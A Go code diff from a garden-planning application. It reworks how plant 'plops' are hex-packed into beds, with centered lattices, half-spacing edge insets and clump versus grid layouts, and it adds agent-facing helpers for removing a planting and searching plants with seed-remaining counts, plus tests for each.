// in one transaction rather than one round-trip per plop.
func (s *Service) fillLoaded(ctx context.Context, actorID int64, o *domain.GardenObject, region Region, plantID int64, spacingOverride *float64) ([]domain.Planting, error) {
// already loaded and authorized (roleEditor). It validates the layout, rejects a
// non-finite region, clamps the region to the object's bounds, refuses fills over
// maxFillPlops, and inserts the whole batch in one transaction rather than one
// round-trip per plop.
func (s *Service) fillLoaded(ctx context.Context, actorID int64, o *domain.GardenObject, region Region, plantID int64, spacingOverride *float64, layout FillLayout) ([]domain.Planting, error) {
if !o.Plantable {
return nil, domain.ErrInvalidInput
}
layout, ok := validFillLayout(layout)
if !ok {
return nil, domain.ErrInvalidInput
}
plant, err := s.visiblePlant(ctx, actorID, plantID)
if err != nil {
return nil, err
@@ -124,14 +208,26 @@ func (s *Service) fillLoaded(ctx context.Context, actorID int64, o *domain.Garde
}
spacing = *spacingOverride
}
radius := defaultPlopRadius(spacing)
radius := plopRadiusFor(spacing, layout)
if !isFinite(radius) || radius <= 0 {
return nil, domain.ErrInvalidInput
}
// A caller-supplied region is arbitrary floats, and non-finite ones survive
// everything downstream: clamping keeps them, the inverted-region guard can't
// see NaN (it compares false both ways), and fitAxis centres on them happily.
// Nothing corrupt reaches the table — SQLite stores NaN as NULL and the NOT
// NULL constraint refuses it — but the caller gets an opaque store error for
// NaN, and for +Inf a silent zero-plop success. Both are lies about what went
// wrong; say "bad input" here instead.
if !isFinite(region.MinX) || !isFinite(region.MinY) ||
!isFinite(region.MaxX) || !isFinite(region.MaxY) {
return nil, domain.ErrInvalidInput
}
region = region.clampTo(o.WidthCM/2, o.HeightCM/2)
centers := hexCenters(region, radius)
if len(centers) > maxFillPlops {
centers, total := hexCenters(region, radius, edgeInset(radius, spacing, layout), maxFillPlops)
if total > maxFillPlops {
return nil, domain.ErrInvalidInput // region too large for this spacing; ask for less
}
@@ -141,13 +237,17 @@ func (s *Service) fillLoaded(ctx context.Context, actorID int64, o *domain.Garde
}
today := s.now().UTC().Format(dateLayout)
batch := make([]*domain.Planting, 0, len(centers))
// Only the plops that were ALREADY here can cover a candidate: every plop this
// fill makes shares one radius and sits on a distinct lattice point, and a plop
// is "covered" only when it lies entirely inside another — impossible between
// two equal-radius circles at different centres. So skip against `existing` as
// loaded and don't grow it per plop, which made an empty-bed grid fill's check
// needlessly quadratic.
for _, c := range centers {
if coveredByExisting(c.x, c.y, radius, existing) {
continue
}
p := &domain.Planting{ObjectID: o.ID, PlantID: plantID, XCM: c.x, YCM: c.y, RadiusCM: radius, PlantedAt: &today}
batch = append(batch, p)
existing = append(existing, *p) // so later candidates in THIS fill don't stack on it
batch = append(batch, &domain.Planting{ObjectID: o.ID, PlantID: plantID, XCM: c.x, YCM: c.y, RadiusCM: radius, PlantedAt: &today})
}
created, err := s.store.CreatePlantings(ctx, batch)
if err != nil {
@@ -169,32 +269,97 @@ func (s *Service) fillLoaded(ctx context.Context, actorID int64, o *domain.Garde
type localPoint struct{ x, y float64 }
// hexCenters returns hex-packed lattice centers whose center lies in the region.
// Rows are spaced radius·√3 apart and every other row is offset by radius, the
// standard hexagonal packing at a 2×radius pitch. The lattice is anchored one
// radius inside the region's min corner so the first plop sits inside it.
func hexCenters(r Region, radius float64) []localPoint {
// hexCenters returns hex-packed lattice centers filling a region: rows radius·√3
// apart, alternate rows offset by half a pitch, at a 2×radius pitch. The lattice
// is CENTERED, so the leftover is shared between opposite edges instead of piling
// up against the far one.
//
// # How close to the edge the outer row goes
//
// The caller passes `inset`: the margin the outer row keeps from every edge. It
// encodes the half-spacing rule (spacing is owed between neighbouring plants, and
// a bed edge is nobody's neighbour) and differs by layout — see edgeInset, which
// derives it. hexCenters just honours it on all four sides.
//
// Do not "simplify" the centering back to anchoring at the region's min corner.
// That is what #75 was: staggered rows start a full pitch in, and the leftover all
// lands on the far edge, where clumps hang outside a bed that nothing clips them to.
//
// # Counting before building
//
// hexCenters returns the total alongside the points, and works that total out
// BEFORE building anything: a fill large enough to be refused shouldn't allocate
// its whole lattice first just to be counted and thrown away. Over `limit` it
// returns (nil, total), so the caller can still refuse with the real number.
func hexCenters(r Region, radius, inset float64, limit int) ([]localPoint, int) {
if radius <= 0 {
return nil
return nil, 0
}
// An empty region has no inside to plant. The old loop-until-past-MaxX form
// got this for free by never entering the loop; counting positions up front
// does not, and would site a plop off the bed.
if r.empty() {
return nil, 0
}
pitch := 2 * radius
rowH := pitch * math.Sqrt(3) / 2
const eps = 1e-6
var pts []localPoint
row := 0
for y := r.MinY + radius; y <= r.MaxY+eps; y += rowH {
xStart := r.MinX + radius
if row%2 == 1 {
xStart += radius
rows, y0 := fitAxis(r.MaxY-r.MinY, rowH, inset)
cols, x0 := fitAxis(r.MaxX-r.MinX, pitch, inset)
// Exact, not an upper bound: staggered rows hold one fewer, so rows*cols would
// over-reserve by ~12% — and, more to the point, allocating it is the thing we
// are trying to avoid when the answer is "too many".
staggered := cols
if cols > 1 {
staggered = cols - 1
}
for x := xStart; x <= r.MaxX+eps; x += pitch {
if r.contains(x, y) {
pts = append(pts, localPoint{x, y})
total := (rows+1)/2*cols + rows/2*staggered
if total > limit {
return nil, total
}
pts := make([]localPoint, 0, total)
for row := 0; row < rows; row++ {
y := r.MinY + y0 + float64(row)*rowH
n, x := cols, r.MinX+x0
// The stagger falls out of centering: an offset row holds one fewer plop,
// and centering THAT run puts it exactly half a pitch off its neighbours.
// A single-column region has nothing to stagger against.
if row%2 == 1 && cols > 1 {
n, x = staggered, r.MinX+x0+pitch/2
}
for i := 0; i < n; i++ {
pts = append(pts, localPoint{x + float64(i)*pitch, y})
}
}
row++
return pts, total
}
// fitAxis returns how many lattice positions fit along a span at `step`, keeping
// at least `inset` from each end, and the offset from the span's start that
// centers them — so the leftover is split between the two edges rather than all
// landing on the far one.
//
// A span too small to hold even one position at that inset still gets one, in the
// middle: filling a bed narrower than a single plop with one plop is a better
// answer than refusing to plant it.
//
// The step<=0 half of that guard is currently unreachable — hexCenters, the only
// caller, returns early unless radius > 0, which makes both steps it passes
// positive. It stays because dividing by a non-positive step yields ±Inf and then
// a garbage int conversion, and a helper this small should not require reading
// its caller to know it is safe. Deliberate, not an oversight.
func fitAxis(length, step, inset float64) (n int, start float64) {
if step <= 0 || length < 2*inset {
return 1, length / 2
}
return pts
// The epsilon keeps an exact fit from being lost to floating point — a 60cm
// span at a 30cm step should give 2 positions, not 1 because the division
// landed on 0.9999999.
const eps = 1e-9
n = int(math.Floor((length-2*inset)/step+eps)) + 1
return n, (length - float64(n-1)*step) / 2
}
// coveredByExisting reports whether a new plop (center, radius) would sit
@@ -211,7 +376,7 @@ func coveredByExisting(x, y, radius float64, existing []domain.Planting) bool {
// FillNamedRegion is FillRegion addressed by a compass name ("ne", "south half")
// instead of a resolved Region — the ergonomic form for agent tools, which don't
// hold the object's geometry. It resolves the name against the object, then fills.
func (s *Service) FillNamedRegion(ctx context.Context, actorID, objectID int64, regionName string, plantID int64, spacingOverride *float64) ([]domain.Planting, error) {
func (s *Service) FillNamedRegion(ctx context.Context, actorID, objectID int64, regionName string, plantID int64, spacingOverride *float64, layout FillLayout) ([]domain.Planting, error) {
o, _, err := s.objectForRole(ctx, actorID, objectID, roleEditor)
if err != nil {
return nil, err
@@ -220,7 +385,7 @@ func (s *Service) FillNamedRegion(ctx context.Context, actorID, objectID int64,
if err != nil {
return nil, err
}
return s.fillLoaded(ctx, actorID, o, region, plantID, spacingOverride)
return s.fillLoaded(ctx, actorID, o, region, plantID, spacingOverride, layout)
}
// ClearObject soft-removes every active plop in an object the actor can edit (one
@@ -306,7 +471,11 @@ type DescribeObject struct {
}
// DescribePlanting is one plop with a rough compass location, for DescribeResult.
// ID + Version are included so an agent can address a single plop — remove it or
// move it — the same way DescribeObject.Version lets it edit an object.
type DescribePlanting struct {
ID int64 `json:"id"`
Version int64 `json:"version"`
PlantID int64 `json:"plantId"`
Plant string `json:"plant"`
Count int `json:"count"`
@@ -353,6 +522,8 @@ func (s *Service) DescribeGarden(ctx context.Context, actorID, gardenID int64) (
count = *pl.Count
}
do.Plantings = append(do.Plantings, DescribePlanting{
ID: pl.ID,
Version: pl.Version,
PlantID: pl.PlantID,
Plant: plantByID[pl.PlantID].Name,
Count: count,
+245 -12
View File
@@ -3,6 +3,8 @@ package service
import (
"context"
"errors"
"math"
"sort"
"testing"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
@@ -57,7 +59,7 @@ func TestFillRegionCappedForHugeArea(t *testing.T) {
bed := seedFillBed(t, s, owner, g.ID, 6000, 6000) // ~46k lattice points at radius 15 → over the cap
plant := seedOwnPlant(t, s, owner, 10)
region, _ := NamedRegion(bed, "all")
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil); !errors.Is(err, domain.ErrInvalidInput) {
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump); !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("oversized fill err = %v, want ErrInvalidInput (over maxFillPlops)", err)
}
}
@@ -71,6 +73,165 @@ func TestDefaultPlopRadius(t *testing.T) {
}
}
// TestHexCentersEdgeInset pins the spacing rule the packing exists to honour:
// spacing is a constraint between neighbouring plants, so a bed edge — which is
// nobody's neighbour — is owed half a pitch, not a whole one.
//
// The bug this guards against was visible to anyone who filled a bed: staggered
// rows began a full pitch in, leaving a bare strip a whole plop wide down one
// side of every other row, while the far edge had plops hanging off it.
func TestHexCentersEdgeInset(t *testing.T) {
for _, tc := range []struct {
name string
w, h, radius, spacing float64
wantRowStarts []float64 // x of the first plop in rows 0 and 1
}{
// 4ft × 8ft bed, garlic at 15cm spacing → radius 22.5, pitch 45. Three
// columns, the outer ones overhanging by 6.5cm — under the 7.5cm the rule
// allows. Anchored at the corner this row started at -38.5 and its
// staggered neighbour a full 45 further in still.
{"4ft bed of garlic", 122, 244, 22.5, 15, []float64{-45, -22.5}},
// An exact fit: 90 wide at pitch 30 → 3 columns, no overhang needed.
{"exact fit", 90, 90, 15, 10, []float64{-30, -15}},
} {
t.Run(tc.name, func(t *testing.T) {
r := rect(-tc.w/2, -tc.h/2, tc.w/2, tc.h/2)
pts, total := hexCenters(r, tc.radius, edgeInset(tc.radius, tc.spacing, FillClump), maxFillPlops)
if len(pts) == 0 {
t.Fatal("no centers")
}
// The count is derived up front so an oversized fill is refused without
// building its lattice — which only works if it matches what gets built.
if total != len(pts) {
t.Errorf("reported total %d, built %d", total, len(pts))
}
// A clump may cross the edge, but only by the half-spacing the rule
// allows — never enough to be mostly out in the path.
budget := tc.spacing / 2
for _, p := range pts {
over := math.Max(
math.Max(r.MinX-(p.x-tc.radius), (p.x+tc.radius)-r.MaxX),
math.Max(r.MinY-(p.y-tc.radius), (p.y+tc.radius)-r.MaxY),
)
if over > budget+1e-6 {
t.Errorf("plop at (%.1f,%.1f) overhangs by %.2f, budget %.2f", p.x, p.y, over, budget)
}
}
// The margins match on opposite edges: the leftover is shared, not piled
// against the far side.
minX, maxX, minY, maxY := pts[0].x, pts[0].x, pts[0].y, pts[0].y
for _, p := range pts {
minX, maxX = math.Min(minX, p.x), math.Max(maxX, p.x)
minY, maxY = math.Min(minY, p.y), math.Max(maxY, p.y)
}
if w, e := minX-r.MinX, r.MaxX-maxX; math.Abs(w-e) > 1e-6 {
t.Errorf("lopsided horizontally: west margin %.2f, east %.2f", w, e)
}
if n, s := minY-r.MinY, r.MaxY-maxY; math.Abs(n-s) > 1e-6 {
t.Errorf("lopsided vertically: north margin %.2f, south %.2f", n, s)
}
// The staggered row is offset by HALF a pitch, not a whole one.
starts := map[float64]float64{}
for _, p := range pts {
if x, ok := starts[p.y]; !ok || p.x < x {
starts[p.y] = p.x
}
}
ys := make([]float64, 0, len(starts))
for y := range starts {
ys = append(ys, y)
}
sort.Float64s(ys)
for i, want := range tc.wantRowStarts {
if i >= len(ys) {
t.Fatalf("only %d rows, want at least %d", len(ys), len(tc.wantRowStarts))
}
if got := starts[ys[i]]; math.Abs(got-want) > 1e-6 {
t.Errorf("row %d starts at x=%.2f, want %.2f", i, got, want)
}
}
})
}
}
// TestHexCentersTinyRegion covers a region too small to hold a plop at the
// half-pitch inset: planting one in the middle beats refusing to plant at all.
//
// The off-centre case earns its place — a region symmetric about the origin
// can't tell "the middle of the region" from "the origin", so on its own it
// would pass for an implementation that just returned (0,0).
func TestHexCentersTinyRegion(t *testing.T) {
for _, tc := range []struct {
name string
r Region
wantX, wantY float64
}{
{"centred on the origin", rect(-5, -5, 5, 5), 0, 0},
{"off in a corner", rect(20, -40, 30, -30), 25, -35},
} {
t.Run(tc.name, func(t *testing.T) {
pts, _ := hexCenters(tc.r, 15, edgeInset(15, 10, FillClump), maxFillPlops)
if len(pts) != 1 || pts[0].x != tc.wantX || pts[0].y != tc.wantY {
t.Errorf("got %+v, want one plop at (%v,%v)", pts, tc.wantX, tc.wantY)
}
})
}
}
// TestFillRegionRejectsNonFiniteRegion: non-finite bounds survive clamping and
// the inverted-region guard (NaN compares false both ways). Without the explicit
// check, NaN surfaced as a raw store error ("NOT NULL constraint failed") and
// +Inf as a silent success that planted nothing — neither of which tells the
// caller what it actually did wrong.
func TestFillRegionRejectsNonFiniteRegion(t *testing.T) {
ctx := context.Background()
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g, _ := s.CreateGarden(ctx, owner, GardenInput{Name: "Big", WidthCM: 2000, HeightCM: 2000})
bed := seedFillBed(t, s, owner, g.ID, 100, 100)
plant := seedOwnPlant(t, s, owner, 10)
nan := math.NaN()
for _, r := range []Region{
{MinX: nan, MinY: -50, MaxX: 50, MaxY: 50},
{MinX: -50, MinY: -50, MaxX: 50, MaxY: math.Inf(1)},
} {
created, err := s.FillRegion(ctx, owner, bed.ID, r, plant.ID, nil, FillClump)
if !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("FillRegion(%+v) err = %v, want ErrInvalidInput", r, err)
}
for _, p := range created {
if !isFinite(p.XCM) || !isFinite(p.YCM) {
t.Errorf("persisted a plop with non-finite coordinates: %+v", p)
}
}
}
}
// TestFillRegionOutsideObjectPlantsNothing covers a region that misses the object
// entirely. clampTo inverts such a region rather than emptying it, and an
// inverted region must plant nothing — not one plop at some point off the bed.
func TestFillRegionOutsideObjectPlantsNothing(t *testing.T) {
ctx := context.Background()
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g, _ := s.CreateGarden(ctx, owner, GardenInput{Name: "Big", WidthCM: 2000, HeightCM: 2000})
bed := seedFillBed(t, s, owner, g.ID, 100, 100) // local bounds ±50
plant := seedOwnPlant(t, s, owner, 10)
// Wholly east of the bed: clampTo gives MinX=500, MaxX=50.
created, err := s.FillRegion(ctx, owner, bed.ID, rect(500, -50, 600, 50), plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("FillRegion: %v", err)
}
if len(created) != 0 {
t.Errorf("filled %d plops for a region outside the bed, want 0: %+v", len(created), created)
}
}
// seedFillBed makes a plantable bed of the given size centered in a big garden.
func seedFillBed(t *testing.T, s *Service, owner, gardenID int64, w, h float64) *domain.GardenObject {
t.Helper()
@@ -95,26 +256,34 @@ func TestFillRegionDeterministicPacking(t *testing.T) {
plant := seedOwnPlant(t, s, owner, 10) // radius = max(15,15) = 15
region, _ := NamedRegion(bed, "all")
created, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil)
created, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("FillRegion: %v", err)
}
// Hex lattice on [-30,30]² at pitch 30, rows ~26 apart → 4 plops (2 rows × 2).
if len(created) != 4 {
t.Fatalf("filled %d plops, want 4 (60×60 bed, radius 15)", len(created))
// Hex lattice on [-30,30]² at pitch 30, rows ~26 apart, centered: a row of 2
// (x=±15), then a staggered row of 1 (x=0) → 3 plops.
//
// This was 4 while the lattice was anchored at the min corner, and the fourth
// sat at x=30 — centred ON the east edge, so half of it lay outside the bed,
// well past the half-spacing (5cm here) the rule allows. Packing one fewer
// plop is the point of the fix, not a regression in it.
if len(created) != 3 {
t.Fatalf("filled %d plops, want 3 (60×60 bed, radius 15)", len(created))
}
for _, p := range created {
if p.RadiusCM != 15 || p.PlantedAt == nil || p.DerivedCount < 1 {
t.Errorf("unexpected created plop: %+v", p)
}
if p.XCM < -30 || p.XCM > 30 || p.YCM < -30 || p.YCM > 30 {
t.Errorf("plop center out of bed bounds: %+v", p)
// This bed fits its lattice exactly, so nothing should need to overhang.
if p.XCM-p.RadiusCM < -30 || p.XCM+p.RadiusCM > 30 ||
p.YCM-p.RadiusCM < -30 || p.YCM+p.RadiusCM > 30 {
t.Errorf("plop overhangs a bed it fits inside: %+v", p)
}
}
// Re-filling the same region skips everything (each candidate sits exactly on
// an existing plop → entirely inside it).
again, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil)
again, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("second FillRegion: %v", err)
}
@@ -123,6 +292,70 @@ func TestFillRegionDeterministicPacking(t *testing.T) {
}
}
// TestFillGridLaysOutIndividualPlants is the #77 grid mode: a grid fill packs one
// plant per plop at true spacing, so a bed becomes rows of plants rather than a
// few fat clumps. On the same bed it produces many more, smaller plops, each a
// single plant.
func TestFillGridLaysOutIndividualPlants(t *testing.T) {
ctx := context.Background()
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g, _ := s.CreateGarden(ctx, owner, GardenInput{Name: "Big", WidthCM: 2000, HeightCM: 2000})
bed := seedFillBed(t, s, owner, g.ID, 60, 60)
plant := seedOwnPlant(t, s, owner, 10) // spacing 10
region, _ := NamedRegion(bed, "all")
clump, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("clump: %v", err)
}
if _, err := s.ClearObject(ctx, owner, bed.ID); err != nil {
t.Fatalf("clear: %v", err)
}
grid, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillGrid)
if err != nil {
t.Fatalf("grid: %v", err)
}
// Grid packs at spacing 10 (radius 5, pitch 10); clump at radius 15 (pitch 30).
// Grid must produce many more plops.
if len(grid) <= len(clump) {
t.Errorf("grid produced %d plops, clump %d — grid should be denser", len(grid), len(clump))
}
// Each grid plop is one plant at radius spacing/2 = 5.
maxAbs := 0.0
for _, p := range grid {
if p.RadiusCM != 5 {
t.Errorf("grid plop radius = %v, want 5 (spacing/2)", p.RadiusCM)
}
if p.DerivedCount != 1 {
t.Errorf("grid plop derived count = %d, want 1 (one plant per plop)", p.DerivedCount)
}
maxAbs = math.Max(maxAbs, math.Max(math.Abs(p.XCM), math.Abs(p.YCM)))
}
// The half-spacing edge rule: a grid plant sits AT the plop centre, so the
// outer row is inset a half-spacing (spacing/2 = 5) — at ±25 on this 60cm bed,
// not flush on ±30. Regression guard: the clump inset formula (radius half)
// collapses to 0 for grid and would plant one on the very edge.
if edge := 30.0; maxAbs > edge-5+1e-6 {
t.Errorf("outermost grid plop at |coord|=%.2f — only %.2fcm from the edge; want a half-spacing (5cm) in", maxAbs, edge-maxAbs)
}
}
// TestFillRejectsUnknownLayout: a layout that isn't clump/grid is ErrInvalidInput.
func TestFillRejectsUnknownLayout(t *testing.T) {
ctx := context.Background()
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
g, _ := s.CreateGarden(ctx, owner, GardenInput{Name: "Big", WidthCM: 2000, HeightCM: 2000})
bed := seedFillBed(t, s, owner, g.ID, 60, 60)
plant := seedOwnPlant(t, s, owner, 10)
region, _ := NamedRegion(bed, "all")
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillLayout("spiral")); !errors.Is(err, domain.ErrInvalidInput) {
t.Errorf("unknown layout err = %v, want ErrInvalidInput", err)
}
}
func TestFillRegionRotatedBedUsesLocalFrame(t *testing.T) {
ctx := context.Background()
s := newTestService(t, openConfig())
@@ -135,7 +368,7 @@ func TestFillRegionRotatedBedUsesLocalFrame(t *testing.T) {
plant := seedOwnPlant(t, s, owner, 20)
region, _ := NamedRegion(bed, "ne")
created, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil)
created, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump)
if err != nil {
t.Fatalf("FillRegion: %v", err)
}
@@ -158,7 +391,7 @@ func TestClearObject(t *testing.T) {
bed := seedBed(t, s, owner, g.ID)
plant := seedOwnPlant(t, s, owner, 10)
region, _ := NamedRegion(bed, "all")
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil); err != nil {
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plant.ID, nil, FillClump); err != nil {
t.Fatalf("fill: %v", err)
}
@@ -192,7 +425,7 @@ func TestOpsForbiddenForViewer(t *testing.T) {
}
region, _ := NamedRegion(bed, "all")
if _, err := s.FillRegion(ctx, viewer, bed.ID, region, plant.ID, nil); !errors.Is(err, domain.ErrForbidden) {
if _, err := s.FillRegion(ctx, viewer, bed.ID, region, plant.ID, nil, FillClump); !errors.Is(err, domain.ErrForbidden) {
t.Errorf("viewer fill = %v, want ErrForbidden", err)
}
if _, err := s.ClearObject(ctx, viewer, bed.ID); !errors.Is(err, domain.ErrForbidden) {
@@ -222,7 +455,7 @@ func TestFillScenario(t *testing.T) {
if err != nil {
t.Fatalf("region %q: %v", name, err)
}
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plantID, nil); err != nil {
if _, err := s.FillRegion(ctx, owner, bed.ID, region, plantID, nil, FillClump); err != nil {
t.Fatalf("fill %q: %v", name, err)
}
}
+11
View File
@@ -178,6 +178,17 @@ func (s *Service) UpdatePlanting(ctx context.Context, actorID, plantingID int64,
return updated, nil
}
// RemovePlanting soft-removes a single plop — the one-plop counterpart to
// ClearObject, used by the agent's remove_planting tool. It stamps removed_at
// from the service clock (s.now()), same as ClearObject and the fill path, so the
// removal date can't diverge by which caller set it; then delegates to
// UpdatePlanting for the editor-role check, version guard and history record.
func (s *Service) RemovePlanting(ctx context.Context, actorID, plantingID, version int64) (*domain.Planting, error) {
today := s.now().UTC().Format(dateLayout)
return s.UpdatePlanting(ctx, actorID, plantingID,
PlantingPatch{SetRemovedAt: true, RemovedAt: &today}, version)
}
// plantingEditSummary describes a plop edit for the history list. Soft-removal
// ("clear bed", harvested) is the one edit worth naming specifically — it reads
// as a removal to the person who did it, not as an edit.
+119
View File
@@ -2,6 +2,7 @@ package service
import (
"context"
"sort"
"strings"
"gitea.stevedudenhoeffer.com/steve/pansy/internal/domain"
@@ -69,6 +70,124 @@ func (s *Service) ListPlants(ctx context.Context, actorID int64) ([]domain.Plant
return s.store.ListPlantsForActor(ctx, actorID)
}
// PlantMatch is a candidate from FindPlants: the plant, plus what seed the actor
// has left of it, so an agent can say "you only have enough for half that bed"
// instead of confidently planting seed that doesn't exist.
type PlantMatch struct {
domain.Plant
// SeedRemaining is the total left across the actor's lots of this plant, and
// SeedUnit the unit they're counted in. Both are omitted when there are no
// lots — and also when the lots disagree about the unit, because adding
// grams to packets produces a number that means nothing. SeedLots still
// reports how many there are, so "several lots, no single total" is
// distinguishable from "no seed at all".
SeedRemaining *float64 `json:"seedRemaining,omitempty"`
SeedUnit string `json:"seedUnit,omitempty"`
SeedLots int `json:"seedLots,omitempty"`
}
// maxPlantMatches caps FindPlants. A model given fifty candidates is not being
// helped; if the query is that broad the answer is to ask a better one.
const maxPlantMatches = 10
// FindPlants returns the plants in the actor's visible catalog (built-ins plus
// their own) whose name or category matches the query, best match first.
//
// It deliberately returns SEVERAL candidates rather than one guess. "garlic"
// against a catalog holding both "Garlic" and "German Red Garlic" is genuinely
// ambiguous, and a caller with the surrounding conversation is far better placed
// to disambiguate than a fuzzy-match heuristic here. An empty query returns the
// catalog head rather than nothing, so a caller can browse.
func (s *Service) FindPlants(ctx context.Context, actorID int64, query string) ([]PlantMatch, error) {
plants, err := s.store.ListPlantsForActor(ctx, actorID)
if err != nil {
return nil, err
}
q := strings.ToLower(strings.TrimSpace(query))
type scored struct {
plant domain.Plant
rank int
}
ranked := make([]scored, 0, len(plants))
for _, p := range plants {
name := strings.ToLower(p.Name)
switch {
case q == "":
ranked = append(ranked, scored{p, 3})
case name == q:
ranked = append(ranked, scored{p, 0})
case strings.HasPrefix(name, q):
ranked = append(ranked, scored{p, 1})
case strings.Contains(name, q):
ranked = append(ranked, scored{p, 2})
case strings.Contains(strings.ToLower(p.Category), q):
ranked = append(ranked, scored{p, 3})
}
}
// Stable by rank then name, so the same query always answers the same way —
// a tool whose results reshuffle between calls is one a model can't reason
// about across turns.
sort.SliceStable(ranked, func(i, j int) bool {
if ranked[i].rank != ranked[j].rank {
return ranked[i].rank < ranked[j].rank
}
return ranked[i].plant.Name < ranked[j].plant.Name
})
if len(ranked) > maxPlantMatches {
ranked = ranked[:maxPlantMatches]
}
matches := make([]PlantMatch, 0, len(ranked))
for _, r := range ranked {
matches = append(matches, PlantMatch{Plant: r.plant})
}
if err := s.attachSeedRemaining(ctx, actorID, matches); err != nil {
return nil, err
}
return matches, nil
}
// attachSeedRemaining fills SeedRemaining/SeedUnit from the actor's lots.
func (s *Service) attachSeedRemaining(ctx context.Context, actorID int64, matches []PlantMatch) error {
if len(matches) == 0 {
return nil
}
lots, err := s.ListSeedLots(ctx, actorID, nil)
if err != nil {
return err
}
byPlant := map[int64][]domain.SeedLot{}
for _, l := range lots {
byPlant[l.PlantID] = append(byPlant[l.PlantID], l)
}
for i := range matches {
ls := byPlant[matches[i].ID]
if len(ls) == 0 {
continue
}
matches[i].SeedLots = len(ls)
unit := ls[0].Unit
mixed := false
total := 0.0
for _, l := range ls {
total += l.Remaining
if l.Unit != unit {
mixed = true
}
}
if mixed {
// Dropping only the LABEL would leave a number that reads as a
// quantity and isn't one. Drop the total with it; SeedLots still says
// there is seed here, just not one figure for it.
continue
}
matches[i].SeedRemaining = &total
matches[i].SeedUnit = unit
}
return nil
}
// CreatePlant adds a plant owned by the actor. To "clone" a built-in the client
// simply POSTs a copy — there is no dedicated endpoint, and the copy is owned by
// (and editable by) the actor.
+135
View File
@@ -237,3 +237,138 @@ func TestDeletePlantInUseIsBlocked(t *testing.T) {
t.Errorf("delete freed plant: %v", err)
}
}
// TestFindPlantsRanksAndDisambiguates — FindPlants deliberately returns several
// candidates rather than one guess, because "garlic" against a catalog holding
// both "Garlic" and "German Red Garlic" is genuinely ambiguous and a caller with
// the surrounding context is better placed to choose than a heuristic here.
func TestFindPlantsRanksAndDisambiguates(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
ctx := context.Background()
custom, err := s.CreatePlant(ctx, owner, PlantInput{
Name: "German Red Garlic", Category: domain.CategoryVegetable, SpacingCM: 15,
Color: "#8a5a8a", Icon: "🧄",
})
if err != nil {
t.Fatalf("CreatePlant: %v", err)
}
got, err := s.FindPlants(ctx, owner, "garlic")
if err != nil {
t.Fatalf("FindPlants: %v", err)
}
names := map[string]bool{}
for _, m := range got {
names[m.Name] = true
}
if !names["Garlic"] || !names[custom.Name] {
t.Errorf("got %v, want both the built-in and the custom variety", names)
}
// Exact match first, so a caller taking [0] gets the least surprising one.
if got[0].Name != "Garlic" {
t.Errorf("first match = %q, want the exact name", got[0].Name)
}
// Prefix beats substring: "german" should surface the custom one first.
pre, err := s.FindPlants(ctx, owner, "german")
if err != nil {
t.Fatalf("FindPlants: %v", err)
}
if len(pre) == 0 || pre[0].Name != custom.Name {
t.Errorf("FindPlants(german) = %+v, want the custom variety first", pre)
}
// Category search works, and a query matching nothing says so plainly.
if herbs, _ := s.FindPlants(ctx, owner, "herb"); len(herbs) == 0 {
t.Error("category search found nothing")
}
if none, _ := s.FindPlants(ctx, owner, "zzzzz"); len(none) != 0 {
t.Errorf("FindPlants(zzzzz) = %+v, want nothing", none)
}
}
// TestFindPlantsReportsSeedRemaining — so a caller can say "you only have enough
// for half that bed" instead of confidently planting seed that doesn't exist.
func TestFindPlantsReportsSeedRemaining(t *testing.T) {
s := newTestService(t, openConfig())
owner := seedUser(t, s, "[email protected]")
other := seedUser(t, s, "[email protected]")
ctx := context.Background()
plant := seedOwnPlant(t, s, owner, 15)
if _, err := s.CreateSeedLot(ctx, owner, SeedLotInput{
PlantID: plant.ID, Quantity: 100, Unit: domain.UnitSeeds,
}); err != nil {
t.Fatalf("CreateSeedLot: %v", err)
}
got, err := s.FindPlants(ctx, owner, plant.Name)
if err != nil {
t.Fatalf("FindPlants: %v", err)
}
if len(got) == 0 || got[0].SeedRemaining == nil || *got[0].SeedRemaining != 100 {
t.Fatalf("seedRemaining = %+v, want 100", got[0].SeedRemaining)
}
if got[0].SeedUnit != domain.UnitSeeds {
t.Errorf("seedUnit = %q", got[0].SeedUnit)
}
// A plant with no lots reports nothing rather than a misleading zero.
builtin, err := s.FindPlants(ctx, owner, "Garlic")
if err != nil {
t.Fatalf("FindPlants: %v", err)
}
if len(builtin) > 0 && builtin[0].SeedRemaining != nil {
t.Errorf("a plant with no lots reported %v remaining", *builtin[0].SeedRemaining)
}
// And lots are private: another user searching the same plant sees no seed.
// (They can't see the custom plant at all, so search a built-in instead.)
if _, err := s.CreateSeedLot(ctx, other, SeedLotInput{
PlantID: builtinPlantID(t, s, other), Quantity: 50, Unit: domain.UnitSeeds,
}); err != nil {
t.Fatalf("CreateSeedLot(other): %v", err)
}
mine, _ := s.FindPlants(ctx, owner, "Garlic")
for _, m := range mine {
if m.SeedRemaining != nil {
t.Errorf("saw another user's seed count on %q", m.Name)
}
}
}
// TestFindPlantsOmitsATotalItCannotHonestlyGive — lots in different units can't
// be summed. Dropping only the unit LABEL would leave a number that reads as a
// quantity and isn't one; the count of lots still says there is seed here.
